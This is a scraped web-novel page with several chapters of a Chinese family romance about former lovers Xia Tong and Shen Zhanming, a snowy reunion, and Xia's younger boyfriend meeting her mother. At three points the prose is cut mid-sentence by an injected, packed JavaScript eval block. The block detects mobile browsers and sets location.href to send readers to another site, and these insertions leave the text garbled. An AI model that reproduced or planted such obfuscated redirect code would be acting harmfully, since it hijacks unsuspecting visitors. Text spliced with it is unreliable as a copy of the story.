昏黄的路灯下,立着两个人影。杜静兰和苑菲菲不愧是好闺蜜,等人还要手挽着手。夏曈走过去,先抱老妈,再喊阿姨。 杜静兰裹着羽绒服,仔细瞧她,脸带笑意。而苑菲菲仍穿长裙,如小时候一样,见了她便夸奖:“曈曈又漂亮啦。” 夏曈弯眸笑。 杜静兰摸摸她的脸蛋:“我瞧着是胖了点,这段时间过得挺滋润。” 又看沈湛明:“湛明倒是瘦了,工作忙吧?” 沈湛明一如既往的温和有礼:“还好,阿姨。” 苑菲菲此时才将注意力放在他身上,见儿子确实眉宇稍显疲倦,伸手拍了拍他的胳膊。这个孩子从来叫她省心,她也习惯了放养,因此只道:“回来多吃点。” 沈湛明颔首,说好。 四人相携进楼。夏曈一手抱着杜静兰的胳膊忙不迭撒娇,说好想妈妈做的饭,杜静兰笑骂她嘴贫,眼里却是藏不住的欢喜。苑菲菲说起今晚的大餐,夏曈边听边捧场,这时忽觉手中一轻。 她回头看,沈湛明接过她装满了物品的包,低声:“给我吧。” 夏曈愣了下,旋即松手,暗自活动被重包勒得发麻的手指。 这种举动并不稀奇,兄妹两人自小便是如此相处,因此两位妈妈都没有多想。 唯苑菲菲视线往沈湛明脸上飘了一瞬,若有所思,又很快移走。 暮色降临,家属院内都在准备晚饭,寒风送来饭菜的香味,以及谁家小孩的打闹声。 路灯发出昏黄光芒,照亮石灰地面上的零星落叶。 到了家,夏曈自觉担起敲门这一光荣任务。 很快门开,夏屹山笑得眉眼弯弯,先打过招呼,便冲着厨房里忙于炒菜的沈教授喊,“老沈,快来,孩子们到了!” 14. 第 14 章 沈教授从医,是医院某内科主任,还弹得一手好琵琶,读大学时还在迎新晚会上迷倒过不少学姐学妹。跟苑菲菲女士结婚后,又钻研出一手做饭的绝活。 沈湛明从小就在医术、厨艺上表现出过人的天赋。 沈教授对此十分得意。 相比而言,夏屹山只能做些家常便饭。譬如今晚餐桌上一道海肠捞饭,夏屹山做得差强人意,却非要人夸他做得比外面餐厅还美味。 沈教授摇头表示一般,杜静兰亦违心称赞两句,便投入到与苑菲菲的交谈中。 长桌呈棕色,铺了碎花桌布,长辈们相对而坐,谈论着夏曈听不懂又不感兴趣的内容。她洗完手走到餐桌,唯一空着的座位依旧是沈湛明对面,所有人都默认的、属于她的位置。 两家聚餐,位置向来如此排布,从未变过。 从前,夏曈与长辈们没有共同话题,只肯与沈湛明小声说话,偶尔转头看电视,这也是唯一不会被杜静兰斥责“吃饭也不专心”的时刻。 但今晚情况特殊,她从入座之后,与他连眼神交流都没有。 长辈们没注意这点异常,密切的交谈间隙会问到沈湛明的工作。沈湛明穿衣风格一向冷静低调,深灰绒衣与西裤,袖口挽着,露出结实的小臂,此刻餐桌上一问一答,笑得淡然而得体,俨然是成熟靠谱的大人模样。 夏曈则并非如此,她穿红色卫衣,胸前印了只白色萨摩耶,靠在椅背扭头全神贯注地看电视,一点不关注餐桌上的对话。 石榴汁摆在她的手边。从前是她和沈湛明一起喝,后来沈湛明读了高中,只喝白水,这类彩色饮品便由夏曈独享。 她看了会电视,被节目逗笑,再扭头看餐桌,发现自己的碟子里已经堆满剥好的海鲜。 夏曈抬眸看沈湛明。 沈湛明无视她的目光,低垂眼睫,以操纵手术刀的精密与冷静,边应付爸妈们的问话,边在众人不注意时,给她剥了满满一碟的食物。 这又是十几年来的习惯。她小时候自己剥虾,划破手指后,这种工作便由沈湛明代劳。 连两人分手后的那次年夜饭,沈湛明都没让她脏了手,仿佛习惯使然。 夏曈握着筷子,戳了戳虾肉,有些出神。 杜静兰坐在旁边,注意到女儿吃个饭还能发呆,低声道:“好好吃饭,别总喝那果汁,里头都是添加剂!” 夏曈跟她对着干,端起玻璃杯一饮而尽,被杜静兰拍了下手,发出“哎呀”声。 然后,她隐约听到对面的沈湛明轻笑了声。 视线里,他那双手冷白修长,青筋隐现。 夏曈低垂眼睫,捏着筷子,一点点将他剥好的肉类吃掉。 用餐中途,杜静兰旧事重提,话题不知从何处开始,莫名又绕到为她介绍的那个相亲对象上。 沈教授和苑菲菲听了会儿,恍然大悟,表示认识男方。由此,夏曈才知道,那人竟然是沈湛明的同班同学。 她终于找到理由拒绝:“不了吧,比我大好几岁呢,不喜欢。” 沈湛明端杯的动作顿了顿,视线落在她脸上。 杜静兰不赞同道:“你懂什么,妈这是为你好,你这性格就得找比你年龄大的,年龄大才有包容心,两个人才能好好过日子。” 夏曈呵呵笑:“黄土埋脖颈的老头年龄才大呢。” “不懂事!”杜静兰往她手臂上拍了下,“那你想找多大的,跟你一般大?” 夏曈随口敷衍:“嗯啊,跟我同龄最好,有共同话题。” 杜静兰摇头:“说的好像差这么几岁,就有代沟了似的。湛明也比你大三岁多,你小时候怎么天天追着他跑?这时候不说共同话题了?” 夏曈嘴硬:“妈,年轻人的想法呢,你不懂的。” 杜静兰哭笑不得:“是,是,妈不懂,但你也别给我们老两口找个不着调的女婿!” 两家人多年相识,这些话题也不避讳在餐桌上谈。沈教授听了,也只是笑,劝解道:“让曈曈自己挑嘛。” 夏曈附和:“就是就是。” 苑菲菲微笑着,眼神往沈湛明脸上停顿两秒,语气颇有意味:“结婚生子这种事,现在年轻人想法确实跟我们那会儿不一样,曈曈不找也行呢。” 杜静兰叹息,“我不管你了。”扭头开启新一轮话题。 两对爸妈在那里商量明天去哪里玩。夏曈吃饱了,歪在椅子里玩手机,时不时给汤圆弄点吃的。汤圆在客厅里摇着尾巴走来走去,忽隐忽现,说不定钻到哪个角落。夏曈将近十分钟都没见到它,刚想起身找,忽然觉得小腿碰到什么,散发着热度。 碎花桌布垂着,遮掩视线,她以为是汤圆在桌下,便伸腿蹭了蹭。 甫一贴上去,那热度便避开了。 对面的沈湛明抬眸看她一眼。 夏曈对上他的目光,没当回事。她穿着牛仔裤,布料的阻隔使得小腿触感不那么灵敏,因此再度伸腿寻去。好不容易触到那热度时,却再次被避开。 沈湛明又抬眸看她,眉头微蹙,这次目光变得严肃。 夏曈不甘示弱瞪他一眼。探手掀开桌布,哪里有汤圆的影子,是她的腿伸到了沈湛明那边,占据他的位置,逼得他不停后撤,为避免骚扰,被西裤包裹的长腿甚至只能贴在椅子边。 夏曈脸颊烘热,放下桌布,起身离席,坐到了沙发上。 这时她才注意,阳台门开着,汤圆就趴在盆栽柿子旁,好奇嗅闻着那橙色的小灯笼果。 只因屋内明亮,阳台又灭灯,汤圆隐匿在黑暗里,才没被她发现。 夏曈怔了怔,收回目光。也没再看沈湛明。 - 晚餐结束后,六人分工明确,将厨房和客厅打扫干净。 倒垃圾的活儿,依旧由沈湛明和夏曈负责。 两人下楼,各自无话。 出了单元楼门,才发现夜空在飘雪,地面已经积凝薄薄一层晶亮,琉璃世界,万物静谧。 垃圾站在两栋楼外,走路需要两三分钟。沈湛明说:“给我,你回去吧,外面冷。” 夏曈把羽绒服的帽子戴上,“走吧。” 熟悉的建筑与风物最能勾起幼时回忆,走了一段路,夏曈听到某楼内传来小孩子的笑声,抬眸看了眼,忽地一愣,问:“老白叔也搬走了?” 家属院里住户之间彼此都认识,亮起的窗户是谁家也清楚,都是多年的老相识,即便有些人后来跟着儿女搬去了别处,留下的也是大多数。 这家属院设施齐全,幽静便利,适合老职工养老。 此刻夏曈望着的方向正是老白叔的家,窗内一片漆黑,显然没人住。 “癌症晚期,不准备治了,”沈湛明语气亦有感慨,“一家人现在都在海南。” 夏曈默了瞬:“也不错。” 至少人生最后时光没有荒废在病床上,而是和儿女们一起在温暖的南方度过。 其实按年龄算,他们该叫“白爷爷”,但当时家属院的爸妈们都叫他老白叔,于是小孩子也跟着瞎叫,叫着叫着,就乱了套。老白叔笑眯眯的,也不在乎。 老白叔性格慈祥,是最喜欢玩的人,经常在楼前的阴凉处坐着马扎和人下象棋,军绿布包里总揣着各种零食,见了小孩就叫到身边投喂。 夏曈和沈湛明以前都吃过他给的零食。 夏曈过年时见到老白叔,老头子连话都说不利索了,见了她依旧笑呵呵的,递来一把旺旺雪饼。夏曈摆手拒绝,说我已经长大了呀。老白叔硬将雪饼塞到她手里,说你吃,你吃。 夏曈轻轻叹息,呵出白雾袅袅,颇有种旧事将去、物是人非的荒凉感。 回来时雪下得更密,放眼已是飞雪如絮,寒风侵入肺腑,夏曈将拉锁往上拉到尽头,忽见前方一名年轻人手里也提着垃圾,隔着老远就冲他们招手。 夏曈没反应过来,沈湛明低声提醒:“住6栋的崔源,以前弄坏过你的风筝。” 夏曈有点印象,这人不仅手贱,还嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469377|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠的要死。 但他也是整个家属院里,唯一发现她和沈湛明谈恋爱的人。夏曈当初斥巨资买了一盒皇冠曲奇,才堵住他那张嘴。 崔源走过来,先是跟沈湛明打了声招呼,才对夏曈笑:“你俩还没分手呢?” 夏曈翻了个白眼,跟他实在不对付:“你管得着?” 崔源贱兮兮的:“我在关心湛明哥不行吗?除了湛明哥,谁受得了你那脾气啊?当初不就不小心把你风筝坐坏了吗,这家伙给我挠得脸都花了。” 夏曈仰起脸微笑:“你活该,我还觉得下手轻了呢。” 崔源咧嘴笑:“那好啊,你干脆把我毁容,以后找不到女朋友我可赖在你们家不走。” 沈湛明眉宇压低,似是不赞同他的口无遮拦。 夏曈却笑:“你不毁容也找不到女朋友。”说罢抬腿离开。 崔源气笑了:“她这话啥意思,说我丑?” 沈湛明淡声:“跟你说过别惹她。” “我那真不是故意的,后来不也赔了她一个新的吗?”崔源摸摸鼻子,“湛明哥,我说真的,都过去这么多年了,你俩还搞地下恋情呢,准备什么时候公开啊?我得给你们包个大红包。” 沈湛明从小就是这帮孩子里成绩最为优异、也最让父母省心的。他们小时候基本都在自己爸妈嘴里听过“人家沈湛明如何如何”之类的话,对他有种潜移默化的信任和尊重,总觉得他是孩子里的大哥。 而夏曈呢,其实有很多优点,她成绩也好,嘴巴也甜,人也漂亮,可就有一点,太闹腾,跟牛犊一样精力充沛又难以管教。 跟沈湛明完全是两个极端。 因此,崔源当初刚发现这俩人在偷偷早恋时,着实吓了一跳。 夏曈用一盒曲奇收买了他,但这秘密在心里憋了多年,他真的快忍不住了。以后俩人结婚,他崔源必须坐主桌。 崔源乐呵呵的,却听沈湛明淡声:“分手了。” 崔源一愣,笑容还没收回去:“啊?” 沈湛明没作声。崔源不太信:“真的假的,你俩不还一块倒垃圾吗?” 沈湛明抬手抹去睫毛的落雪,“嗯”了声。 “嗯”,是什么意思? 崔源脸上笑意消失,拧眉看他:“湛明哥,怎么回事啊,你俩能分手?” 这事就跟当初他们在谈恋爱一样令人震惊。 他们怎么会谈恋爱? ——他们怎么可能分手? 沈湛明没再提这茬,“走了。” - 夏曈走进单元楼的时候,沈湛明已经大步追了上来。 她摘下帽子,抖了抖雪,沈湛明伸手帮她后肩的雪花拍掉。 光线昏暗的楼道里,看不清彼此神色,唯有衣物摩擦的声响。 夏曈觉得此刻的氛围很奇怪,她想到什么,忽然笑了,眼瞳里光芒细碎如星,“沈湛明,我们现在不是男女朋友,你知道自己在越界吗?” 沈湛明静静凝视她片刻,竟是朝着她伸手。 夏曈脖子一缩,警惕道:“你要干嘛?” 下一瞬,沈湛明的指腹按在她的眼角,动作轻柔地抹去她眼睫因呵气凝聚的湿润。 而后他收回手,好整以暇地看着夏曈。 似是在问:越界了,所以呢? 夏曈瞪他良久,轻声说:“无聊。” 她转身上楼,“砰!”的关门声响,震动天地。 杜静兰在沙发上剥橘子吃,见状责备道:“这孩子,不能动静轻点?你要楼下的来骂你呀。” 夏曈脱掉外套,低头换鞋,理直气壮:“楼下不就沈湛明家吗。” 杜静兰想想也是,“那也得轻点。对面老吴家还有人呢。” “知道啦知道啦。” 夏曈走过去在她旁边坐下,从她手里拿来两瓣剥好的橘子。 杜静兰:“懒得你!” 夏曈嘻笑,揉了揉眼睛,肌肤似乎仍有他指腹的热度停留。 15. 第 15 章 电视机里播放着综艺节目,热热闹闹,夏屹山坐在沙发上煮醒酒茶,他最近弄了个网上挺火的茶炉,闲着就在家围炉煮茶,也烤点坚果橘子什么的。 两家都没人抽烟,此时客厅里除了隐约的饭菜香,就是清新甜蜜的柑橘气息。 夏屹山把巴旦木剥好,放在夏曈手心里:“来给闺女吃。” 夏曈躺在杜静兰腿上,“剥得这么好,爸你没醉啊。” 杜静兰:“你爸醉了,又没瞎。” 夏屹山笑得乐不可支。 杜静兰摸摸夏曈额头:“曈曈,你跟湛明这段时间怎么回事啊,今晚怎么都不说话?” “说了呀,怎么没说。刚才我们不还一起倒垃圾了吗?” “不对,”杜静兰摇头,“你俩从过年那会儿就不对劲,不止我,你菲菲阿姨也这么觉得。是不是吵架了?” 夏屹山眯着眼:“你管呢,孩子都多大了,还能像小时候似的?” 杜静兰:“你别瞎掺和。” 夏屹山哼了声,咂咂品茶。 夏曈安慰道:“放心吧妈,沈湛明闷得跟锯嘴葫芦似的,我俩吵不起来。” 实话。俩人闹别扭也多半是她单方面炸毛。 “别吵架就行,就算吵了也不能一直这么闹下去,都是一家人没有隔夜仇,咱们两家三代人的交情了,不能在你们这儿断了。听到没有?” 夏曈眨眨眼:“以后我俩各自成家了,还得这么来往吗?” “当然,我跟你菲菲阿姨就这么过来的呀,小时候我俩衣服都换着穿呢。”杜静兰忽而想到什么,“不过,也没听说过湛明交什么女朋友,你菲菲阿姨竟然也不急。” 夏曈被坚果呛了下,起身去抢夏屹山的普洱喝,无语道:“你以为都跟你似的。” 杜静兰怒道:“兔崽子,没大没小。” 夏曈把茶杯还给夏屹山,做了个鬼脸。 夏屹山打了个哈欠,起身回屋睡觉。杜静兰叫住他:“哎,今晚锻炼了没?” “啊?”夏屹山转头,作无辜状:“今晚不了吧,特殊情况,哎呀困了困了,明天再说,啊。你们娘俩再聊会天,不用太关心我。” 说罢便逃回卧室。 杜静兰指着他怒道,“那个啤酒肚就这么吃出来的!” 夏屹山做了多年生意,各地跑,喝酒应酬少不了,即便平时有注意保持,年纪上来了也无可避免地发福。 自从他上次诊断出高血脂之后,杜静兰就逼着他每天出去锻炼,风雨不许停。 夏曈想了想:“外面下雪呢,妈,明天再锻炼也不迟呀,爸还喝酒了呢。” 杜静兰哪能不明白这些,她就是纯粹想唠叨,把半颗橘子塞在夏曈手里,“你也不叫我省心!” 夏曈倒在沙发,“我何其无辜。” 杜静兰去洗漱,客厅里仅有夏曈一人。电视上放着周星驰的《功夫》,她歪在沙发看得津津有味,恍惚想起第一次看这电影时还是小学生,看不懂,但被六指琴魔吓得噩梦不止。 如今再看就觉出妙处了,夏曈把橘子瓣上的白色丝络撕掉,嚼了两下,咬到了籽。 她想起小时候,夏屹山为免女儿吞咽种子被卡住喉咙,便讲故事给她听,说吃掉的橘子籽和西瓜籽会在她的肚子里生根发芽,慢慢钻进她的食道,最后从耳朵里长出来时,她就会变成不能移动的树,以后再也不可以走路了。 夏曈牢牢记住了这个故事,从此吃水果时慎之又慎,比做数学题更严谨。但百密仍有一疏,暑假某天的下午三点,她边看动画片边吃冰镇西瓜时,被剧情逗笑,无意吞进了好几颗种子。 她吓得愣住,用力咳了两下,想到自己小命休矣,当即悲从中来,一路跑到楼下沈湛明家里,边敲门边呜呜哭个不停。 沈湛明见她哭得一脸涕泪,也慌乱起来,耐心询问片刻,夏曈却也说不清,只一味强调自己要死了,以后再也不能走路了,她珍藏的漫画书都只能由他继承了。 沈湛明听得蹙眉,愈发不解,为什么? 他抽出纸巾给她擦掉满脸的泪水和西瓜汁,轻拍她的后背,待她情绪平复,终于把原委讲清后,沈湛明注视着她一脸悲伤的模样,唇角勾起,竟是慢慢地笑了。 夏曈发现沈湛明一点不在乎自己的性命,他甚至还要笑,他果然心里只有她的漫画书,更气得当场飙泪,哭嚎不止。 沈湛明起身从书柜里抽出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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16. 第 16 章 第二天,两家人启程去了海边。 雪落了一夜,天依旧灰蒙蒙的,从餐厅的落地窗望向海边,能看到沙滩与礁石都被茫茫雪白覆盖,零星的人影变作黑点,慢慢移动。 好在风不大,郊区岛屿亦不缺游客,网红街上还有不少趁着雪景想要出片的年轻人,看起来竟有些热闹。 夏曈在温暖的室内,闲得有些无聊,她点开微信,谢桁的消息已经堆满整个屏幕。 LOVE:【姐姐,我现在在公司里实习呢,S市下雪了,好漂亮。】 LOVE:【照片】【照片】 LOVE:【好想和你一起看雪景,你那里下雪了吗?】 LOVE:【姐姐,你在忙什么呢?】 夏曈哭笑不得,这小狗不知什么时候偷偷拿她手机改了备注。 她打字回复:【我在聚餐。】 LOVE:【吃的什么呀?是阿姨做的饭吗,饭桌上有没有我的位置呢?】 他又在试探,夏曈没回复,不知说什么好。 那边谢桁很快转移话题。 LOVE:【姐姐,我这两天又学会一道甜点,等回家做给你吃好不好?】 LOVE:【图片】 LOVE:【是这种哦,很有食欲吧,嘻嘻。】 LOVE:【姐姐怎么不理我?我要伤心了。】 LOVE:【姐姐理我理我。】 LOVE:【小狗流泪.jpg】 夏曈无奈,连忙回了个好。 LOVE:【抱住亲亲。】 LOVE:【等你回来!】 LOVE:【小狗星星眼期待.jpg】 餐桌呈正圆,因此夏曈与沈湛明挨着坐,她的微信一向设置老年字号,也不知沈湛明是否无意中瞥见了他们的对话。 夏曈将手机放下,一脸无所谓。 午饭后夏曈感到腹部饱胀,在室内走了片刻,觉得施展不开,于是取来围巾,对席间众人道:“我有点儿撑,下去走走。” 两对爸妈正讲起当初大学往事,氛围热闹,但对于夏曈和沈湛明来说则是如听天书,如坐针毡。 杜静兰心情愉悦,当下懒得管她:“去吧去吧,跟皮猴儿一样,坐不住。” 苑菲菲脸上仍有笑意:“叫湛明哥陪你一起,万一待会起风了哟,别把我们曈曈吹跑了。” 沈教授:“哪儿就有这么夸张?还能把人吹跑了?” 夏屹山:“怎么不能?我那次晚上去老崔店里,碰巧刮风,刚下车让风吹得走都走不动,你们想想,亏得我身上有肉,再瘦点可不让风吹跑了吗?” 众人都笑。杜静兰又乐又怒:“你好意思讲!刚结婚那会儿你才多少斤,腿还不如我的粗呢,老沈和菲菲都记得啊,你看现在……” 夏曈关门,隔绝笑声。沈湛明走在她身后,沉默不语。 夏曈今天穿了大衣,配单肩包,乌发散着,系围巾的动作便显得吃力。下楼梯的过程堪称漫长,她低头看台阶,发丝轻垂,待走到餐厅的旋转门时,本就松垮系着的围巾已经散开,垂至腰际。 “只是散步而已,没必要。在爸妈面前装一下就得了。”夏曈将垂下的围巾捞起来,笑意促狭,“出了门还要演绎兄妹情深吗?” 沈湛明凝视她,冷静道:“你被风吹跑了怎么办?” “哈哈,真好笑。”夏曈嘲讽他毫无幽默因子,却见沈湛明握住她的围巾一角,动作利落地为她系上。 凭心而论,沈湛明的眉眼深邃,十分赏心悦目。此刻凑近,更有种成熟韵味。夏曈不承认爱他,但必须承认她喜欢一切美好的事物,她仍会在这种拉扯的时刻,目光更多停留在他的脸上。 沈湛明系围巾的风格与在床上一样,没什么花招,但动作很熟稔。围巾是羊绒的,严严实实遮掩住夏曈的脖颈和小半张脸,只露出那双明亮的眼,是最保暖的那种系法。 “……”彼此距离很近,夏曈可以感知到他的气息,勾起嘴角,“你不避嫌吗?” 沈湛明并不接招,走出门去:“只是系围巾,你在想什么?” “嗯,‘只是’系围巾。”夏曈跟他一起出门,“如果是男朋友给我系围巾的话,现在我们应该在接吻了。” 她的声音被围巾遮住,显得发闷。 雪后寒风迎面吹来,沈湛明微微眯眼,没搭理这句话。 夏曈感觉被冷落,偏头看去,沈湛明的眉目被雪景衬托,愈发清湛。她干脆加紧步伐绕到他前方,与他面对面,倒退着走。 路面积雪并未清扫干净,沈湛明眉心微蹙:“小心滑倒。” 夏曈眉眼弯弯,似乎心情非常愉悦。 她轻笑:“湛明哥,你说我们就保持这样的关系,是不是也挺好的?” 沈湛明注意到她称呼的变化。 “湛明哥”,是他们恋爱之前,她对他的称呼。 她十七岁的时候。 夏曈是性情明烈的人,她秉持的理念是,一旦分手,连朋友都不要做,从此老死不相往来。 可他们之间的关系又堪称“血浓于水”,两家三代交情,牢牢缚住几十年的紧密,她能摆脱吗?不能。 夏曈可以一辈子都把沈湛明当哥哥。前提是两人除非家庭往来,从此不再有别的联系。 可沈湛明似乎不甘心只做哥哥。 昨晚沈湛明为她拍掉身上的雪,刚才又为她系上围巾,两次越界,夏曈已经无法相信,他愿意把关系仅仅限制在“兄妹”的范围。 夏曈平时表现得没心没肺,大大咧咧,不过是仗着有人宠,便惯性撒娇。她不是情感迟钝的人,她能在十七岁时意识到对沈湛明的喜欢,敢于抛却“兄妹”身份的束缚,和沈湛明谈恋爱,便足以证明她清楚知道自己要的是什么,她的头脑极清醒。 她有男朋友了,不能再和沈湛明如此暧昧不清。 此刻被夏曈暗示,沈湛明亦冷静,轻声反问:“保持什么关系?兄妹?” 夏曈点头:“只能这样,再多就不行了。” 沈湛明顿了瞬:“你不觉得这句话很熟悉么?” 当初夏曈非要和他谈恋爱,也是同样的说辞:只能做兄妹吗?再多一点不可以吗? 夏曈干笑声:“不熟悉,忘了。” 沈湛明没戳穿她:“那作为你的哥哥,我是否也有权置喙你现在这段恋情?夏曈,你们并不合适。” 夏曈慢慢后退,出声反驳:“只要我喜欢就够了。再说,你又能了解他多少呢?” 沈湛明抬眸注意她身后的路况,以免她真的摔倒,同时简短道:“他小姨的骨折手术是我做的,我对他的了解,也许更甚于你。” 夏曈顿住步伐,沈湛明因此也被迫停下来。 两人之间距离骤然拉近。从远处看,更像是一对姿态亲密的情侣。 “你这些话,”夏曈挑眉微笑,“究竟是以兄长的身份对我进行劝告,还是以前男友的身份而感到不甘心?” 沈湛明凝视她,眸光沉静如月下湖泊。 他伸手,指腹压下她的围巾,夏曈的呼吸瞬间化作白雾。那张笑意盈盈的小脸露出来,脸颊仿佛仍是沈湛明记忆里的柔软温热,并且对于此刻的他来说,触手可及。 他曾无数次抚摸过这张脸。此时夏曈不闪不避,沈湛明依然能轻易触碰到她。 只要他想。 “如果这么说能让你觉得开心,”沈湛明搓了搓指腹,收回手,“那就两者都有吧。” - 三点时,沈湛明和夏曈开车往回赶。 这次杜静兰和苑菲菲也在车上,杜静兰是去S城见个客户,蹭车,并蹭夏曈的一间房,苑菲菲则是准备去沈湛明的新房看看,顺便等杜静兰忙完了,闺蜜俩也玩几天。 回城途中,夏曈先给谢桁发了消息:【待会我妈要过去,你快点回家哦,宝宝,别被我妈发现了,她要念叨我的】 谢桁非常不满地撒娇半晌,向夏曈讨要了许多好处,这才听话撤离。 LOVE:【我再和胶布玩一会儿就回去,这样可以吗,狠心的姐姐。】 LOVE:【我好生气,我要一百分钟不理你。】 LOVE:【你哄我也没用。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469379|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>LOVE:【小狗哭泣.jpg】 …… LOVE:【你真不哄我吗?我会讨厌你的。】 夏曈哭笑不得,给他发了个亲亲的表情包。 谢桁这才傲娇地哼了声。 夏曈关掉手机,一转头,沈湛明的唇线轻抿,镜框在雪光下折射出冷锐的光。 她在副驾驶被暖风吹得犯困,后排两个妈在研究修图,汤圆被挤到一旁,无辜吐舌。幸好SUV车内空间大,才不至于让汤圆失去容身之地。 到了小区地库,苑菲菲见沈湛明跟着一块下车提东西,便问:“湛明也住这里,跟曈曈一个小区吗?” 杜静兰惊讶望他,“真的?” 四人进电梯,沈湛明按下楼层,颔首承认:“是。” 杜静兰笑道:“这么巧,那正好啊,你们互相之间还能有个照应,这个夏曈曈我都懒得说她,太不会照顾自己……” 夏曈打断道:“妈,我俩还住同一楼层,是对门儿呢。” 这下,连苑菲菲都惊讶了,看向沈湛明:“哎呀,这可真巧呢。” “要不说俩孩子关系好呢,保不准是商量着选的房,不过这小区确实不错。”杜静兰忽地想起什么,问沈湛明,“湛明,你一直跟曈曈住对门,那当时阿姨让你劝曈曈去相亲,你怎么说没跟曈曈见过?” 苑菲菲的视线再次移向沈湛明。 夏曈低头微笑,搬石头砸自己脚了吧。 沈湛明半点不慌,仍淡声:“我们平时都忙,阿姨,很少见面。” 杜静兰不疑有他,只叹道:“都忙,现在年轻人生活压力大,都这样,没办法,就是得注意身体。你们医院食堂的饭菜怎么样?还是平时点外卖比较多?我们曈曈平时就爱吃外卖,以前教她做饭也不肯学……” 夏曈出声反驳:“妈,我现在很少吃外卖了。” 杜静兰:“少骗妈,你不点外卖,上哪填饱肚子去?” 当然是谢桁下厨啊,或者买点速食,小区外还有不少馆子呢。 夏曈满嘴跑火车:“当然是我自己做的啦。” 杜静兰惊讶道:“哟,你还当上厨神了?” 夏曈:“那可不?” 杜静兰很配合地称赞道,“不错,我闺女还学会做饭了,祖宗显灵。” 夏曈:“其实湛明哥有时也来我家蹭饭呢。” 苑菲菲看向沈湛明,笑问:“真的?” “……”沈湛明沉默一瞬,“嗯。” 电梯到了6层,门开启,夏曈轻笑:“湛明哥还夸我厨艺好呢,比他厨艺更好。” 杜静兰走出电梯,大手一挥:“你可拉倒吧!” 苑菲菲跟在后面,低头笑个不止。 沈湛明先回了自己家,让汤圆喝水吃点东西,苑菲菲也过去放行李。 杜静兰则是跟着夏曈进了门,指纹锁开,入眼就是胶布的大爷坐姿,杜静兰脱口而出:“这大肥猫!” 胶布喵呜叫了声,认生似的躲到沙发后面,遗憾离场。 夏曈笑说:“人家只是肉多了点。” 杜静兰换好鞋子,走到沙发后,一双大手硬是把咪咪抗议的胶布抓起来,左看右看,担忧道:“是不是该减肥了?” “问过医生,是健康的。只是毛太长了,腿又短,才显得胖。” 夏曈低头将鞋子放进鞋柜,忽而注意到谢桁的白色球鞋还在。 她动作一顿。 谢桁没走。 夏曈直起身,心跳加速。 她转头看茶几,谢桁的车钥匙还在那放着,挂着她买盲盒开出来的史迪仔。 杜静兰还未发现,抱着胶布晃悠,“这猫倒是挺乖,见了生人有点害羞是不是?混熟了就开始横行霸道。要不说宠物随主人呢,跟你小时候一个样。” 夏曈走过去,趁杜静兰的注意还在胶布身上时,动作迅速地将车钥匙放进下面抽屉。 抽屉关闭的轻响后,卧室门被人打开。 夏曈抬眸望去,谢桁走出来。 杜静兰抱着胶布,猝不及防与他对上目光,满脸震惊。 17. 第 17 章 室内暖气充足,谢桁只穿白色短袖和灰色卫裤,人高马大地站在卧室门口。 他手臂肌肉明显,深棕卷发微微凌乱,眸光不甚清明,似是刚醒。 杜静兰愣在当场,被忽然出现的陌生男子吓得心脏怦怦跳,刚要尖声质问,夏曈先发制人:“你怎么没走?” 杜静兰的尖叫堵在喉咙,震惊地看她,又看那年轻人。 谢桁抓抓头发:“太累了,就在你屋里睡了会。” 他走到夏曈身边,无视她眼里的惊讶与隐怒,揽住她的肩,脸上扬起乖巧的笑容,对杜静兰打招呼,“阿姨您好,我是曈曈的男朋友。” 夏曈眨眨眼,他掌心的热度隔着毛衣传递到她的肌肤。她却觉得好笑。 “啊?这……这怎么没听你说过呀?” 杜静兰嘴巴张开,惊讶得不知说什么好,看看谢桁,又看夏曈,“曈曈?” 夏曈暗中在谢桁腰间狠狠拧了一记,转头微笑,“是我男朋友,妈,这不还没来得及告诉你呢。” 杜静兰惊疑未定,但好歹是松了口气,挤出笑容,语气斥责道:“吓死我了你们两个!刚才妈差点都要报警了!” 谢桁抿唇笑:“都是我不好,吓到阿姨了,阿姨您坐,我给您倒茶。” 夏曈唇角勾笑,勉强笑道:“可不就是你不好么!” 谢桁低眸望着她笑,脸上还有睡觉压的红印子,眼睛亮亮的,带着某种坚定。 夏曈怎么看不出他是故意的? 这小子,不知受了什么刺激,上演这一出。 谢桁起身去泡茶,留下夏曈和杜静兰在客厅。 杜静兰放下胶布,轻声问:“曈曈,跟妈说怎么回事,什么时候谈的?” 夏曈眉心微蹙,摸摸脸:“……也没多久,有半年吧。” “是个好孩子,就是突然出现,有点吓人。”杜静兰往厨房方向看了眼,悄声问,“你们住一起?” 夏曈:“嗯……也不算,他在别的地方有房子。偶尔来跟我一起住。” “看起来像外国人呢,混血?”杜静兰仍心有余悸,“多大啦?” 夏曈抬眸看她,犹豫道:“是混血。年龄……比我小点。” 杜静兰听出不对劲,追问道:“小点是小多少?” 夏曈又摸摸脸:“小几岁吧。” 杜静兰拧眉:“毕业了吗?” “……年后毕业。” 杜静兰的表情明显流露出不满意:“大四啊。” 夏曈小声嘟囔:“以年龄来判断人,不可取哦。” 